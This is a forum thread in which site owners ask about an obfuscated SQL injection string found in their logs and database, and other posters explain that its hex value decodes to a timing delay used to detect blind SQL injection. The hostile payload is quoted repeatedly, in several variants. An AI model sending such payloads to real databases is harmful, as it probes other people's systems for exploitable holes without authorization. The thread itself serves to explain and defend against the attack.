I found this sql injection attempt against my server: ') declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- Code (markup): The attempt failed because the forms it was attempted against only send emails, non the less I believe my server-side string cleaners would have halted this. Really I am just trying to understand what this is doing..? This looks much different from most sql injection attempts I've seen and performed in security tests.
That means select WAITFOR DELAY '00:00:15'-- Code (markup): Hacker tried use waiting functions and analyze response times to test if blind SQL injection is possible.
The wannabe hacker used a automatic vulnerability scanner. If I remember correctly, Acunetix tries Blind SQL Injection(Timing) with such queries.
Hi I found sql injection on my site please check what is the meaning declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- 1 declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- 1) declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- ) declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) --
I found on my database please suggest what is thie declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- 1 declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- 1) declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) -- ) declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A313527 exec(@q) --